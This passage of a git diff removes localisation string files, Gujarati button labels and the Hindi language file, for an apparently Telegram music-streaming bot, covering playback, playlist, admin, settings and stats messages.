-PM_B_3 : "ચેનલપ્લે"
-
- #Play
-P_B_1 : "🎵 ઑડિયો ચલાવો"
-P_B_2 : "🎥 વિડિઓ ચલાવો"
-P_B_3 : "🏮 લાઇવ સ્ટ્રીમ શરૂ કરો"
-P_B_4 : "🎵 પ્લેલિસ્ટ ચલાવો"
-
- #Playlist
-PL_B_1 : "🚀 પ્લેલિસ્ટ ચલાવો"
-PL_B_2 : "✚ પ્લેલિસ્ટ્સ"
-PL_B_3 : "✚ વધારાના"
-PL_B_4 : "📡 પ્લે મોડ"
-PL_B_5 : "🔄 ડેલ આખી પ્લેલિસ્ટ"
-PL_B_6 : "↗️ પ્લેલિસ્ટ કાઢી નાખો"
-PL_B_7 : "❗️ હા, મને ખાતરી છે. કાઢી નાખો"
-PL_B_8 : "🔢 ટોપ 10 રમો"
-PL_B_9 : "🤖 વૈશ્વિક ટોપ 10 ટ્રૅક્સ રમો"
-PL_B_10 : "🏘 પ્લે ગ્રુપના ટોપ 10 ટ્રેક"
-PL_B_11 : "👤 વ્યક્તિગત ટોપ 10 ટ્રૅક્સ રમો"
-
- #Settings
-ST_B_1 : "🔊 ઓડ ગુણવત્તા"
-ST_B_2 : "🎥 વિડિઓ ગુણવત્તા"
-ST_B_3 : "🎩 ઓથ વપરાશકર્તાઓ"
-ST_B_4 : "📱 ડેશબોર્ડ"
-ST_B_5 : "▶️ પ્લે મોડ"
-ST_B_6 : "🏳️🌈 ભાષા"
-ST_B_7 : "🔄 ક્લીન મોડ"
-ST_B_8 : "{0} ઓછી ગુણવત્તાનો ઑડિયો"
-ST_B_9 : "{0} મધ્યમ ગુણવત્તાનો ઓડિયો"
-ST_B_10 : "{0} ઉચ્ચ ગુણવત્તાનો ઓડિયો"
-ST_B_11 : "{0} ઓછી ગુણવત્તાનો વિડિયો"
-ST_B_12 : "{0} મધ્યમ ગુણવત્તાની વિડિઓ"
-ST_B_13 : "{0} ઉચ્ચ ગુણવત્તાની વિડિઓ"
-ST_B_14 : "✅ સક્ષમ"
-ST_B_15 : "❌ અક્ષમ"
-ST_B_16 : "👤 એડમિન્સ"
-ST_B_17 : "👥 દરેક વ્યક્તિ"
-ST_B_18 : "📋 અધિકૃત વપરાશકર્તાઓની સૂચિ"
-ST_B_19 : "🔎 શોધ મોડ"
-ST_B_20 : "✅ ડાયરેક્ટ"
-ST_B_21 : "✅ ઇનલાઇન"
-ST_B_22 : "⏯ પ્લે મોડ"
-ST_B_23 : "🏘 જૂથ"
-ST_B_24 : "🏷 ચેનલ"
-ST_B_25 : "🫂 રમવાનો પ્રકાર"
-ST_B_26 : "🗑 આદેશ સાફ"
-
- #Song
-SG_B_1 : "↗️ ખાનગી ચેટ ખોલો"
-SG_B_2 : "🔊 ઓડિયો"
-SG_B_3 : "🎥 વિડિઓ"
-
- #Stats
-SA_B_1 : "📢 ટોપ 10 ચેટ"
-SA_B_2 : "🔢 ટોચના 10 ટ્રેક"
-SA_B_3 : "🧛 ટોચના 10 વપરાશકર્તાઓ"
-SA_B_4 : "🏷 ટોચના 10 અહીં"
-SA_B_5 : "💡 એકંદર આંકડા"
-SA_B_6 : "👤 વપરાશકર્તાના આંકડા"
-SA_B_7 : "🔢 વૈશ્વિક ટોચના 10 આંકડા"
-SA_B_8 : "🤖 બોટ આંકડા"
\ No newline at end of file
diff --git a/strings/langs/hi.yml b/strings/langs/hi.yml
index ad0410c..8eb1921 100644
--- a/strings/langs/hi.yml
+++ b/strings/langs/hi.yml
@@ -1,428 +1,306 @@
-name : 🇮🇳 Hindi
-
-# General Strings
-general_1 : "किसी उपयोगकर्ता के संदेश का उत्तर दें या उपयोगकर्ता नाम/यूज़र_आईडी दें।"
-general_2 : "गलत! कमांड का गलत उपयोग।"
-general_3 : "आपका गाना डूंडने मैं कठिनाई हो रही है \n कठिनाई:- {0}"
-general_4 : "गाना सुनने के लिए एडमिन राइट्स से send anonymously परमिशन हटाए।"
-general_5 : "आपके पास पर्याप्त अनुमति नहीं है! आपके पास मैनेज वाइस चैट्स अनुमति होना अनिवार्य है।"
-general_6 : "बॉट वॉयस चैट पर गाना नहीं चला रहा है।"
-
-# Classes - Telegram.py
-tg_1 : "बॉट अभी डाउनलोड के साथ **ओवरलोडेड** है।\n\n**इसके बाद प्रयास करें:** {0} (__छोड़कर समय__)"
-tg_2 : "टेलीग्राम से मीडिया डाउनलोड करने में विफल।"
-
-# Core - Call.py
-call_1 : "आपके चैनल पर सहायक खाते को आमंत्रित करने के लिए बॉट को **एडमिन** अनुमति की आवश्यकता है।\n\nचैनल प्लेमोड को इसके माध्यम से अक्षम करें: /प्लेमोड"
-call_2 : "आपके समूह या चैनल में सहायक प्रतिबंधित है, कृपया प्रतिबंध हटा दें।\n\n**सहायक उपयोगकर्ता नाम:** @{0}\n**सहायक आईडी:** {1}"
-call_3 : "आपकी चैट में सहायक खाते को न्योता देते समय अपवाद हुआ।\n\n**कारण**:{0}"
-call_4 : "बॉट को **लिंक के माध्यम से उपयोगकर्ताओं को आमंत्रित करें** आपके चैट समूह में सहायक खाते को आमंत्रित करने की अनुमति की आवश्यकता है।"
-call_5 : "सहायक 5 सेकंड में आपके ग्रुप मैं शामिल हो जाएगा..कृपया प्रतीक्षा करें!"
-call_6 : "सहायक खाता[{0}] सफलतापूर्वक शामिल हो गए.\n\nअभी संगीत प्रारंभ कर रहे हैं"
-call_7 : "**हानिकारक व्यवस्थापक अधिकार दिया गया **\n\nकृपया बॉट से **उपयोगकर्ताओं को प्रतिबंधित करें** अधिकार हटा दें।"
-call_8 : "**हानिकारक व्यवस्थापक अधिकार दिया गया **\n\nकृपया बॉट से **नए व्यवस्थापक जोड़ें** अधिकार हटा दें।"
-call_9 : "**स्ट्रीम स्विच करने में विफल**\nकृपया ट्रैक को फिर से बदलने के लिए उपयोग करें / छोड़ें।"
-call_10 : "प्लेलिस्ट से अगला ट्रैक डाउनलोड करना"
-call_11 : "कृपया अपने चैनल में @{0} जोड़ें[ आईडी: {1}].\n\nBot चैनल विवरण प्राप्त करने में सक्षम नहीं है।"
-
-# PLUGINS - Auth.py
-auth_1 : "आपके समूह की अधिकृत उपयोगकर्ता सूची (AUL) में केवल 20 उपयोगकर्ता हो सकते हैं|"
-auth_2 : "ऑथराइज्ड यूजर मैं शामिल कर लिया गया है।"
-auth_3 : "पहले से ही अधिकृत उपयोगकर्ता सूची में है।"
-auth_4 : "इस समूह की अधिकृत उपयोगकर्ता सूची से हटाया गया।"
-auth_5 : "अधिकृत उपयोगकर्ता नहीं है।"
-auth_6 : "अधिकृत उपयोगकर्ताओं को लाया जा रहा है... कृपया प्रतीक्षा करें"
-auth_7 : "**अधिकृत उपयोगकर्ता सूची[AUL]:**\n\n"
-auth_8 : "┗ द्वारा जोड़ा गया: -"
-
-# PLUGINS - Admins
-admin_1 : "संगीत पहले से ही रुका हुआ है।"
-admin_2 : "वॉयसचैट {} द्वारा रोका गया!"
-admin_3 : "संगीत पहले ही फिर से शुरू हो गया है।"
-admin_4 : "वॉयसचैट {} द्वारा फिर से शुरू किया गया!"
-admin_5 : "संगीत पहले से ही रुका हुआ है।"
-admin_6 : "वॉयसचैट {} द्वारा बंद किया गया!"
-admin_7 : "संगीत पहले से अनम्यूट है|"
-admin_8 : "वॉयसचैट {} द्वारा अनम्यूट!"
-admin_9 : " वॉयसचैट {} द्वारा समाप्त/बंद!"
-admin_10 : "🎧 वॉयसचैट {} द्वारा छोड़ा गया!. कतार में कोई और संगीत नहीं।"
-admin_11 : "स्ट्रीम को **{0}**\n\n में बदलने के दौरान त्रुटि हुई, कृपया फिर से उपयोग करें / छोड़ें।"
-admin_12 : "सक्षम लूप प्ले के कारण किसी विशिष्ट ट्रैक पर जाने में असमर्थ। कृपया इस सुविधा का उपयोग करने के लिए '/ लूप अक्षम' के माध्यम से लूप प्ले अक्षम करें।"
-admin_13 : "कृपया विशिष्ट ट्रैक के लिए संख्यात्मक संख्याओं का उपयोग करें, जैसे 1, 2 या 4 आदि"
-admin_14 : "एक विशिष्ट संख्या पर जाने के लिए कतार में कम से कम 2 ट्रैक की आवश्यकता है। कतार की जाँच / कतार द्वारा करें"
-admin_15 : "आपके द्वारा दिए गए मान के लिए कतार में पर्याप्त ट्रैक नहीं हैं। कृपया 1 और {0} के बीच की संख्याएं चुनें"
-admin_16 : "विशिष्ट ट्रैक पर जाने में विफल.\n\nबाईं कतार को /queue . द्वारा जांचें"
-admin_17 : "{0}.. कृपया प्रतीक्षा करें"
-admin_18 : "व्यवस्थापक सूची नहीं मिली\n\nकृपया व्यवस्थापक सूची को /admincache या /reload के माध्यम से पुनः लोड करें"
-admin_19 : "इसे निष्पादित करने के लिए आपको वॉयस चैट अधिकारों के प्रबंधन के साथ व्यवस्थापक होने की आवश्यकता है।\nयदि आप पहले से ही व्यवस्थापक हैं, तो /admincache के माध्यम से admincache पुनः लोड करें"
-admin_20 : "व्यवस्थापक कैश सफलतापूर्वक पुनः लोड किया गया।"
-admin_21 : "कतार में फेरबदल करने के लिए कुछ भी नहीं"
-admin_22 : "शफ़ल करने में विफल.\n\nकतार जांचें : /queue"
-admin_23 : "**कतार शफ़ल की गई {0}**\n\nशफ़ल की गई कतार जांचें : /queue"
-admin_24 : "**उपयोग:**\n/लूप [सक्षम/अक्षम] या [1-10 के बीच की संख्या]\n\n**उदाहरण:** /लूप 5"
-admin_25 : "लूप को {0} द्वारा **{1}** बार के लिए सक्षम किया गया है। बॉट अब वॉयस चैट पर चल रहे वर्तमान संगीत को **{1}** बार . दोहराएगा"
-admin_26 : "कृपया लूप प्ले के लिए 1-10 के बीच की संख्याओं का उपयोग करें"
-admin_27 : "लूप प्ले अक्षम कर दिया गया है"
-
-# Bot
-# Start
-start_1 : "मुझे {0} में शामिल करने के लिए धन्यवाद।\n{1} चल रहा है।\n\nकिसी भी सहायता के लिए, हमारे सहायता समूह या चैनल को जॉइन करें।"
-start_2 : "नमस्कार, मेरा नाम {0} है।\n\nमैं कुछ उपयोगी सुविधाओं के साथ एक टेलीग्राम स्ट्रीमिंग बॉट हूं। Youtube, Spotify, Resso, AppleMusic , Soundcloud आदि जैसे सहायक प्लेटफॉर्म।\n\nमुझे अपने समूहों में जोड़ने के लिए स्वतंत्र महसूस करें।"
-start_3 : "आपका स्वागत है {0}\n\n मुझे किसी भी एडमिन अनुमति की जरूरत नहीं है। (जब तक मांगा ना जाए)।\n\nसहायक उपयोगकर्ता का नाम:- @{1}\nसहायक आईडी:- {2}"
-start_4 : "{0} का मालिक[{1}] अभी-अभी आपकी चैट में शामिल हुआ है।"
-start_5 : "{0} के खास उपयोगकर्ता[{1}] का एक सदस्य अभी-अभी आपके चैट में शामिल हुआ है।"
-start_6 : "❗️ **सुपरग्रुप की आवश्यकता** ❗️\n\nकृपया अपने **ग्रुप** को **सुपरग्रुप** में बदलें और फिर मुझे वापस जोड़ें।\n\n**सुपरग्रुप कैसे बनाएं?**\n✅ अपने ग्रुप को बनाएं चैट इतिहास **दृश्यमान** एक बार।"
-start_7 : "**Blacklisted Chat**\n\nYou're chat has been blacklisted by the Bot. Please ask any SudoUser to whitelist chat first. Check [Sudolist from here]({0})"
-
-
-# Help
-help_1 : "अधिक जानकारी के लिए नीचे दिए गए बटनों पर क्लिक करें।\n\nसभी कमांड के साथ उपयोग किया जा सकता है: /"
-help_2 : "मदद के लिए मुझसे PM में संपर्क करें।"
-
-# Settings
-setting_1 : "⚙️ **संगीत बॉट सेटिंग**\n\n🖇**समूह:** {0}\n🔖**समूह आईडी:** `{1}`\n\n💡**नीचे से फ़ंक्शन बटन चुनें जिसे आप संपादित या बदलना चाहते हैं।**"
-setting_3 : "यह क्या है?\n\n1) प्रत्यक्ष: सीधे खोज क्वेरी चलाता है। सीधे मोड में वीडियो चलाने के लिए -v का उपयोग करें।\n\n2) इनलाइन: वीडियो और ऑडियो के बीच चयन करने के लिए इनलाइन मार्कअप बटन देता है।"
-setting_4 : "⁉️ यह क्या है?\n\n👥 हर कोई: कोई भी इस समूह में मौजूद व्यवस्थापक आदेशों (छोड़ें, रोकें, फिर से शुरू करें आदि) का उपयोग कर सकता है।\n\n🙍 केवल व्यवस्थापक: केवल व्यवस्थापक और अधिकृत उपयोगकर्ता ही व्यवस्थापक आदेशों का उपयोग कर सकते हैं।"
-setting_5 : "कोई अधिकृत उपयोगकर्ता नहीं मिला\n\nआप किसी भी गैर-व्यवस्थापक को /auth द्वारा मेरे व्यवस्थापक आदेशों का उपयोग करने की अनुमति दे सकते हैं और /unauth का उपयोग करके हटा सकते हैं"
-setting_9 : "⁉️ यह क्या है?\n\nसक्रिय होने पर, बॉट आपकी चैट को साफ और स्पष्ट बनाने के लिए {0} के बाद अपना संदेश हटा देगा।"
-setting_10 : "⁉️ यह क्या है?\n\n1) समूह: जहां आदेश दिया जाता है, उस समूह में संगीत चलाता है।\n\n2) चैनल: आपके इच्छित चैनल में संगीत चलाता है। चैनल आईडी को / channelplay . के माध्यम से सेट करें"
-setting_11 : "⁉️ यह क्या है?\n\n1) हर कोई: इस समूह में मौजूद कोई भी व्यक्ति यहां संगीत चला सकता है।\n\n2) केवल व्यवस्थापक: केवल व्यवस्थापक ही इस समूह में संगीत चला सकते हैं।"
-setting_12 : "आपने चैनल मोड के लिए कोई चैनल आईडी निर्धारित नहीं की है। कृपया / channelplay के साथ परिभाषित करें।"
-setting_13 : "सक्रिय समूह कॉल में प्ले मोड नहीं बदला जा सकता। कृपया वॉयस चैट को पहले / स्टॉप के साथ बंद करें।"
-setting_14 : "⁉️ यह क्या है?\n\nसक्रिय होने पर, बॉट अपने निष्पादित आदेशों (/play,/pause,/shuffle,/stop आदि) को तुरंत हटा देगा।\n\nइसके ठीक से काम करने के लिए बॉट को संदेशों को हटाने की आवश्यकता होगी।"
-setting_15 : "सहकर्मी को हल करने में विफल, सुनिश्चित करें कि आपने अपने चैनल में बॉट जोड़ा है और इसे व्यवस्थापक के रूप में प्रचारित किया है।\n\nफिर से सेटिंग /चैनलप्ले करने का प्रयास करें.."
-
-set_cb_1 : "ऑडियो गुणवत्ता पैनल प्राप्त किया जा रहा है..."
-set_cb_2 : "वीडियो गुणवत्ता पैनल प्राप्त किया जा रहा है..."
-set_cb_3 : "प्रामाणिक उपयोगकर्ता पैनल प्राप्त किया जा रहा है..."
-set_cb_4 : "प्ले मोड पैनल प्राप्त किया जा रहा है..."
-set_cb_5 : "क्लीन मोड पैनल प्राप्त किया जा रहा है..."
-set_cb_6 : "परिवर्तन की स्थापना।"
-set_cb_7 : "प्रामाणिक उपयोगकर्ता सूची प्राप्त करना .. कृपया प्रतीक्षा करें।"
-set_cb_8 : "वापस हो रही है.."
-
-# Misc
-ustats_1 : "No User Stats Found."
-ustats_2 : "Grettings!, You have played **{0}** tracks till now with a whopping count of **{1}** times.\n\nTop {2} played by you:\n\n"
-
-gstats_1 : "Getting Global Stats, This could take some time..."
-gstats_2 : "No Stats Found."
-gstats_3 : "Getting Global Top 10 {0} on the bot, This could take some time.."
-gstats_4 : "**Total Queries on Bot:** {0}\n\n{1} has played **{2}** tracks till now with a whopping count of **{3}** times.\n\n**Top {4} Tracks:**\n"
-gstats_5 : "**Top {0} Chats of {1}:**\n\n"
-gstats_6 : "**Top {0} Users of {1}:**\n\n"
-gstats_7 : "This chat group has played **{0}** tracks till now with a whopping count of **{1}** times.\n\nTop {2} played by this chat group:\n\n"
-gstats_8 : "Getting Bot's general stats and information.. This could take some time..."
-gstats_9 : "**GLOBAL TOP 10 STATS OF THE BOT**\n\nSelect the buttons from below for which you want to check global stats from bot's servers."
-gstats_10 : "**Global Stats of {0}**\n\nSelect the buttons from below for which you want to check global stats from bot's servers."
-gstats_11 : "**General Stats of {0}**\nSelect the buttons from below for which you want to check global stats from bot's servers.\n\nTo check top tracks, chats, users and other stuffs, please use /gstats"
-
-
-# Play
-#Play Callback
-playcb_1 : "यह तुम्हारे लिए नहीं है! खुदका गाना ढूंढो "
-playcb_2 : "अगला परिणाम प्राप्त करा जा रहा है।"
-
-# Channel Play
-cplay_1 : "आप इस चैट से चैनलों में संगीत चला सकते हैं[{0}] किसी भी चैनल या अपने चैट के लिंक किए गए चैनल के लिए।\n\n**लिंक किए गए चैनल के लिए:**\n`/{1} linked`\n\n** किसी अन्य चैनल के लिए:**\n`/{1} [चैनल आईडी]`"
-cplay_2 : "इस चैट का कोई लिंक्ड चैनल नहीं है।"
-cplay_3 : "चैनल परिभाषित {0}\n\n__चैनल आईडी__: {1}"
-cplay_4 : "चैनल प्राप्त करने में विफल.\n\nसुनिश्चित करें कि आपने अपने चैनल में बॉट जोड़ा है और इसे व्यवस्थापक के रूप में प्रचारित किया है।\nचैनल को /चैनलप्ले के माध्यम से बदलें या चैनल प्ले मोड को /प्लेमोड के माध्यम से अक्षम करें"
-cplay_5 : "केवल चैनल समर्थित हैं।"
-cplay_6 : "चैनल को इस समूह से जोड़ने के लिए आपका **स्वामी** होना आवश्यक है[{0}]।\n**चैनल का स्वामी:** @{1}\n\nवैकल्पिक रूप से आप अपने समूह को उस चैनल से लिंक कर सकते हैं और फिर `/ channelplay लिंक्ड` से कनेक्ट करने का प्रयास करें"
-
-#Play
-play_1 : "प्रसंस्करण क्वेरी... कृपया प्रतीक्षा करें!"
-play_2 : "**🏷चैनल प्ले मोड**\n🔄 संसाधन क्वेरी... कृपया प्रतीक्षा करें!\n\n**लिंक किया गया चैनल:** {0}"
-play_3 : "क्वेरी संसाधित करने में विफल!"
-play_4 : "🖇 **एडमिन ओनली प्ले**\nइस ग्रुप में केवल एडमिन और प्रामाणिक उपयोगकर्ता ही संगीत चला सकते हैं।"
-play_5 : "ऑडियो फ़ाइल संसाधित करने में विफल.\n\nऑडियो फ़ाइल का आकार 100 mb से कम होना चाहिए"
-play_6 : "**अवधि सीमा पार हो गई**\n\n**अनुमत अवधि: **{0} मिनट(s)\n**प्राप्त अवधि:** {1} मिनट (मिनट)"
-play_7 : "माफ़ करना! सीपीयू ओवरलोड मुद्दों के कारण बीओटी केवल सीमित संख्या में वीडियो कॉल की अनुमति देता है। कई अन्य चैट अभी वीडियो कॉल का उपयोग कर रही हैं। ऑडियो पर स्विच करने का प्रयास करें या बाद में पुन: प्रयास करें"
-play_8 : "मान्य वीडियो फ़ाइल एक्सटेंशन नहीं!\n\n**समर्थित प्रारूप:** {0}"
-play_9 : "वीडियो फ़ाइल का आकार 1 GiB से कम होना चाहिए"
-play_10 : "**यूट्यूब प्लेलिस्ट फीचर**\n\nवह मोड चुनें जिसमें आप पूरी यूट्यूब प्लेलिस्ट चलाना चाहते हैं"
-play_11 : "📎शीर्षक: **{0}\n\n⏳अवधि:** {1} मिनट"
-play_12 : "**Spotify प्लेलिस्ट**\n\nइनके द्वारा अनुरोध किया गया:- {0}"
-play_13 : "**Apple प्लेलिस्ट**\n\nइनके द्वारा अनुरोध किया गया:- {0}"
-play_14 : "**यूआरएल को सत्यापित करने में असमर्थ।**\nबॉट आश्चर्य करता है कि क्या यह यूआरएल निम्न में से किसी भी प्लेटफॉर्म से संबंधित है: Youtube, AppleMusic, Spotify, Resso और Soundcloud।\n\nआप M3u8 या रिमोट लिंक के लिए /स्ट्रीम का उपयोग कर सकते हैं।"
-play_15 : "**लाइव स्ट्रीम का पता चला**\n\nसिस्टम ने आपके ट्रैक लिंक को लाइव स्ट्रीम के रूप में पाया है। लाइव स्ट्रीम खेलना चाहते हैं?"
-play_16 : "ट्रैक विवरण प्राप्त करने में विफल. कोई अन्य खेलने का प्रयास करें।"
-play_17 : "इस प्रकार की Spotify क्वेरी चलाने में असमर्थ!\n\nमैं केवल Spotify ट्रैक, एल्बम, कलाकार और प्लेलिस्ट चला सकता हूं"
-play_18 : "**No Active Voice Chat Found**\n\nTo use force play, there must be an active voice chat going on in your group. **Force Play** stops the playing track on voice chat and starts playing the searched track instantly without disturbing/clearing queue."
-
-
-
-#Playlist
-playlist_1 : "**उपयोग:** /प्ले [संगीत का नाम या यूट्यूब लिंक या ऑडियो का जवाब]\n\nअगर आप बॉट की सर्वर प्लेलिस्ट चलाना चाहते हैं! नीचे दिए गए बटन को दबाएं।"
-playlist_2 : "अपनी प्लेलिस्ट प्राप्त करना। कृपया प्रतीक्षा करें"
-playlist_3 : "बॉट के सर्वर पर आपकी कोई प्लेलिस्ट नहीं है।"
-playlist_4 : "लाई गई प्लेलिस्ट:\n\n"
-playlist_5 : "अवधि- {0} मिनट"
-playlist_6 : "प्लेलिस्ट को हटाने के लिए मुझसे PM में संपर्क करें।"
-playlist_7 : "प्लेलिस्ट के अंदर ट्रैक: {0}\n\nअपनी प्लेलिस्ट में किसी विशेष ट्रैक को हटाने के लिए बटन दबाएं।\n\nपूरी प्लेलिस्ट को हटाने के लिए: डेल होल प्लेलिस्ट बटन दबाएं।"
-playlist_8 : "पहले से मौजूद है\n\nयह ट्रैक आपकी प्लेलिस्ट में मौजूद है।"
-playlist_9 : "माफ़ करना! प्लेलिस्ट में आपके पास केवल {0} संगीत हो सकता है।"
-playlist_10 : "प्लेलिस्ट जोड़\n\n{0}\nआपकी प्लेलिस्ट में जोड़ा गया।"
-playlist_11 : "आपका ट्रैक सफलतापूर्वक हटा दिया गया।"
-playlist_12 : "आपका ट्रैक मिटाया नहीं जा सका."
-playlist_13 : "सर्वर से आपकी पूरी प्लेलिस्ट हटा दी गई।"
-playlist_14 : "**क्या आप वाकई अपनी पूरी प्लेलिस्ट हटाना चाहते हैं?**\n\nआप अपनी प्लेलिस्ट खो देंगे और इसे बाद में पुनर्प्राप्त नहीं किया जा सकता है।"
-playlist_15 : "[पूरी प्लेलिस्ट चेकआउट करें]({0})"
-playlist_16 : "कतारबद्ध प्लेलिस्ट:"
-playlist_17 : "कतारबद्ध स्थिति-"
-playlist_18 : "[चेकआउट पूरी कतारबद्ध प्लेलिस्ट]({0})\n\nअंतिम कतारबद्ध स्थिति : **{1}**"
-
-
-#Playmode
-playmode_1 : "उस मोड का चयन करें जिसमें आप अपने समूह के अंदर प्रश्नों को चलाना चाहते हैं[{0}]।"
-playmode_2 : "सेटिंग बदली गई और {0} द्वारा सफलतापूर्वक सहेजी गई"
-
-#Stream
-str_1 : "कृपया M3u8 लिंक या इंडेक्स लिंक प्रदान करें।"
-str_2 : "मान्य स्ट्रीम सत्यापित\n\nकृपया संसाधन लिंक की प्रतीक्षा करें.."
-str_3 : "यूट्यूब लाइव स्ट्रीम स्ट्रीम करने में असमर्थ। कोई लाइव प्रारूप नहीं मिला"
-
-#TopPlay
-tracks_1 : "**Processing {0} Top 10 Playlist**\nThis could take some mins(around 3-4 mins).. Please Wait...\n\n**👤Requested By:** {1}\n\nCheck Top 10 tracks by /stats"
-tracks_2 : "**त्रुटि**\n\nबॉट के सर्वर पर कोई **{0} शीर्ष 10 प्लेलिस्ट** नहीं है। कृपया कोई अन्य प्लेलिस्ट आज़माएं"
-
-
-# TOOLS
-
-#Lyrics
-lyrics_1 : "**उपयोग:**\n\n/गीत [संगीत का नाम]"
-lyrics_2 : "गीत खोज रहे हैं"
-lyrics_3 : "❌ गीत लाने में विफल😭.\n\n💡**खोजने की कोशिश की:** {0}"
-lyrics_4 : "नीचे दिए गए बटन पर क्लिक करें और लंबे स्पैम प्रकार के गीत खोज से बचने के लिए खोजे गए गीत प्राप्त करें।"
-
-#Ping
-ping_1 : "पोंग!!!!"
-
-# Song
-song_1 : "आप YouTube से केवल निजी चैट में संगीत या वीडियो डाउनलोड कर सकते हैं। कृपया मुझे निजी चैट में शुरू करें।"
-song_2 : "**उपयोग:**\n\n/गीत [संगीत का नाम] या [यूट्यूब लिंक]"
-song_3 : "लाइव लिंक का पता चला। मैं लाइव यूट्यूब वीडियो डाउनलोड नहीं कर पा रहा हूं।"
-song_4 : "**🔗शीर्षक:**- {0}\n\nउस प्रकार का चयन करें जिसमें आप डाउनलोड करना चाहते हैं।"
-song_5 : "मान्य Youtube लिंक नहीं है"
-song_6 : "फ़ॉर्मैट मिल रहे हैं.. \n\nकृपया प्रतीक्षा करें.."
-song_7 : "वीडियो के लिए उपलब्ध प्रारूप प्राप्त करने में विफल। कृपया कोई अन्य ट्रैक आज़माएं।"
-song_8 : "डाउनलोड शुरू हुआ\n\nडाउनलोड करने की गति धीमी हो सकती है। कृपया पकडे रखे.."
-song_9 : "Youtube-DL से गाना डाउनलोड करने में विफल\n\n**कारण:** {0}"
-song_10 : "सर्वर से टेलीग्राम पर अपलोड करने में विफल।"
-song_11 : "अपलोडिंग प्रारंभ\n\nअपलोडिंग गति धीमी हो सकती है। कृपया पकडे रखे.."
-
-# Tools - Queue
-queue_1 : "कृपया प्रतीक्षा करें..कतार लाई जा रही है.."
-queue_2 : "कतार के अंदर कोई ट्रैक नहीं है।"
-queue_3 : "**पंक्तिबद्ध ट्रैक:** [यहां से अधिक कतारबद्ध ट्रैक देखें]({0})"
-queue_4 : "⏳ कतार में जोड़ा गया **#{0}\n\n💡शीर्षक:** {1}\n**⏱अवधि:** {2}\n👤**द्वारा जोड़ा गया:** {3}"
-
-# All Streaming Lines
-stream_1 : "📡 **स्ट्रीमिंग शुरू की** \n\n👤**द्वारा अनुरोध किया गया:** {0}\n🔦**जानकारी: **[यहां]({1})"
-stream_2 : "📡 **यूआरएल के माध्यम से स्ट्रीमिंग शुरू की ** 💡\n\n👤**द्वारा अनुरोध किया गया:** {0}"
-stream_3 : "📡 **स्ट्रीमिंग शुरू की** 💡\n\n**🏷शीर्षक:** {0}\n⌛️**अवधि**: {1}\n👤**द्वारा अनुरोध किया गया:** {2}"
-stream_4 : "📡 **स्ट्रीमिंग शुरू की** 💡\n\n**🏷शीर्षक:** [{0}]({1})\n⌛️**अवधि**: {2}\n👤**द्वारा अनुरोध किया गया:* * {3}"
-
-# Inline Buttons
-
-#General Buttons
-CLOSE_BUTTON : "बंद करें"
-CLOSEMENU_BUTTON : "मेनू बंद करें"
-BACK_BUTTON : "⬅ पीछे"
-UNBAN_BUTTON : "🗑 अप्रतिबंधित सहायक"
-
-#Lyrics
-L_B_1 : "🚀 चेकआउट लिरिक्स"
-
-# Start
-S_B_1 : "🗒 आदेश"
-S_B_2 : "🔧 समायोजन"
-S_B_3 : "📨 सहायता"
-S_B_4 : "📨 चैनल"
-S_B_5 : "✚ मुझे अपने ग्रुप में जोड़ें"
-S_B_6 : "💡 गिट रेपो"
-S_B_7 : "👤 बॉट ओनर"
-S_B_8 : "🔎 कैसे इस्तेमाल करे? कमांड मेनू।"
-
-#Help
-H_B_1 : "व्यवस्थापक आदेश"
-H_B_2 : "प्ले कमांड"
-H_B_3 : "बॉट कमांड"
-H_B_4 : "अतिरिक्त कमांड"
-H_B_5 : "मेनू बंद करें"
-H_B_6 : "सूडो उपयोगकर्ता कमांड"
-
-#PlayMode
-PM_B_1 : "डायरेक्टप्ले"
-PM_B_2 : "इनलाइन मार्कअप"
-PM_B_3 : "चैनलप्ले"
-
-#Play
-P_B_1 : "🎵 ऑडियो चलाएं"
-P_B_2 : "🎥 वीडियो चलाएं"
-P_B_3 : "🏮 लाइवस्ट्रीम शुरू करें"
-P_B_4 : "🎵 प्लेलिस्ट चलाएं"
-
-#Playlist
-PL_B_1 : "🚀 प्लेलिस्ट चलाएं"
-PL_B_2 : "✚ प्लेलिस्ट"
-PL_B_3 : "✚ अतिरिक्त"
-PL_B_4 : "📡 खेल विधा"
-PL_B_5 : "🔄 डेल पूरी प्लेलिस्ट"
-PL_B_6 : "↗️ प्लेलिस्ट हटाएं"
-PL_B_7 : "❗️ हाँ मुझे यकीन है। इसे हटा"
-PL_B_8 : "🔢 शीर्ष 10 खेलें"
-PL_B_9 : "🤖 वैश्विक शीर्ष 10 ट्रैक चलाएं"
-PL_B_10 : "🏘 समूह के शीर्ष 10 ट्रैक चलाएं"
-PL_B_11 : "👤 व्यक्तिगत शीर्ष 10 ट्रैक चलाएं"
-
-#Settings
-ST_B_1 : "🔊 ऑडियो गुणवत्ता"
-ST_B_2 : "🎥 वीडियो गुणवत्ता"
-ST_B_3 : "🎩 प्रामाणिक उपयोगकर्ता"
-ST_B_4 : "📱 डैशबोर्ड"
-ST_B_5 : "▶️ खेल विधा"
-ST_B_6 : "🏳️🌈 भाषा"
-ST_B_7 : "🔄 स्वच्छ मोड"
-ST_B_8 : "{0} कम गुणवत्ता ऑडियो"
-ST_B_9 : "{0} मध्यम गुणवत्ता ऑडियो"
-ST_B_10 : "{0} उच्च गुणवत्ता ऑडियो"
-ST_B_11 : "{0} निम्न गुणवत्ता वीडियो"
-ST_B_12 : "{0} मध्यम गुणवत्ता वीडियो"
-ST_B_13 : "{0} उच्च गुणवत्ता वीडियो"
-ST_B_14 : "✅ सक्रिय"
-ST_B_15 : "❌ विकलांग"
-ST_B_16 : "👤 Admin"
-ST_B_17 : "👥 Everyone"
-ST_B_18 : "📋 अधिकृत उपयोगकर्ता सूचियाँ"
-ST_B_19 : "🔎 खोज मोड"
-ST_B_20 : "✅ Direct"
-ST_B_21 : "✅ Inline"
-ST_B_22 : "👨⚖️ Admin Commands"
-ST_B_23 : "🏘 Group"
-ST_B_24 : "🏷 Channel"
-ST_B_25 : "🫂 प्ले टाइप"
-ST_B_26 : "🗑 कमांड क्लीन"
-
-#Song
-SG_B_1 : "↗️ निजी चैट खोलें"
-SG_B_2 : "🔊 ऑडियो"
-SG_B_3 : "🎥 वीडियो"
-
-#Stats
-SA_B_1 : "📢 टॉप 10 चैट"
-SA_B_2 : "🔢 शीर्ष 10 ट्रैक"
-SA_B_3 : "🧛 शीर्ष 10 उपयोगकर्ता"
-SA_B_4 : "🏷 यहां शीर्ष 10"
-SA_B_5 : "💡 कुल आँकड़े"
-SA_B_6 : "👤 उपयोगकर्ता आँकड़े"
-SA_B_7 : "🔢 वैश्विक शीर्ष 10 आँकड़े"
